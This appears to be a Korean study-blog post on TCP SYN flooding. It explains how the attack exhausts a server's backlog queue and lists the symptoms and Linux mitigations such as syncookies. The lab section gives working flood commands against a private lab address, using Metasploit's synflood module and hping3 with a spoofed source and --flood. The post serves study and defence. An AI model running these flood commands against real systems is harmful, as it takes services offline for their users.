일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- tabbar
- drift
- Compose
- Coroutines
- viewmodel
- LifeCycle
- Kotlin
- Button
- 앱바
- DART
- 테스트
- ScrollView
- TEST
- activity
- livedata
- intent
- Dialog
- android
- binding
- Navigation
- CustomScrollView
- data
- 앱
- textfield
- textview
- appbar
- 안드로이드
- scroll
- 계측
- Flutter
- Today
- Total
Study Record
[네트워크 해킹] TCP SYN Flooding 본문
1. 공격 원리
☞ TCP의 SYN 신호를 IP를 랜덤으로 설정하여 지속적으로 보내 공격 대상의 백 로그 큐를 고갈시키는 Dos 공격 방법 중 하나이다.
TCP SYN 신호를 받은 서버가 클라이언트에게 SYN+ACK 신호를 보내면 클라이언트에게서 ACK 신호가 오기를 기다리는 'Half Open' 상태가 되고 백 로그 큐에 연결이 저장된다. 일정 시간이 지나고 나서도 ACK 신호가 오지 않으면 연결이 초기화가 되는데 TCP SYN Flooding 공격은 사용하지 않는 ip를 랜덤하게 설정하여 지속적으로 상대 서버에게 SYN 신호를 보내고 ACK 를 보내지 않아 백 로그 큐가 꽉 차게 되어 더 이상 서비스를 하지 못하게 만든다.
2. 공격 실습
공격 대상(Linux) : 192.168.20.200
공격자(KaliLinux) : 192.168.20.50
[KaliLinux]
㉮ msfconsole 명령어를 사용하는 경우
# systmectl status postgresql (systemctl restart postgresql)
# msfconsle
msf> use auxiliary/dos/tcp/synflood
msf> set RHOST 192.168.20.200
msf> run
※ 실제로 모의해킹용 툴이기 때문에 시스템이 다운될만큼 빠르고 많이 패킷을 보내지 않는다.
㉯ hping3 명령어를 사용하는 경우
# hping3 -S -a 192.168.20.205 192.168.20.200 -p 80 -c 3
# hping3 -S -a 192.168.20.205 192.168.20.200 -p 80 --flood
3. 공격 증상
- 네트워크 부하량이 증가한다.
- SYN + ACK 를 받고 대기하는 연결들이 많다.
- netstat -antp 확인 가능
4. 방지 대책
4-1. TCP Syn_cookie
# sysctl -w net.ipv4.tcp_syncookies=1
- 임시적인 쿠키 공간을 만들어 들어오는 연결들을 저장해놨다가 꽉 차기 시작했을 때 쌓여있는 연결들을 검사하여 불순한 연결들을 강제로 끊어 정상적으로 서비스할 수 있도록 한다.
4-2. Backlog Queue 늘리는 방법
# sysctl -w net.ipv4.tcp_max_syn_backlog=1024
- 완벽하게 공격을 막을 수는 없다. 백로그 큐를 늘려도 더 많은 양의 패킷들로 공격하면 소용없기 때문이다.
4-3. Half-Open Time 시간 줄이기
- 연결 대기 시간을 줄인다.
'네트워크 해킹' 카테고리의 다른 글
[네트워크 해킹] IP 우회 (0) | 2021.11.08 |
---|---|
[네트워크 해킹] ARP Spoofing Attack ( ARP Cache Poisoning Attack ) (0) | 2021.11.07 |
네트워크 해킹 및 보안 - DHCP - 수정 필요 (0) | 2021.10.28 |
네트워크 보안과 해킹2 - 수정 필요 (0) | 2021.10.22 |
네트워크 해킹 보안 - 수정 필요 (0) | 2021.10.18 |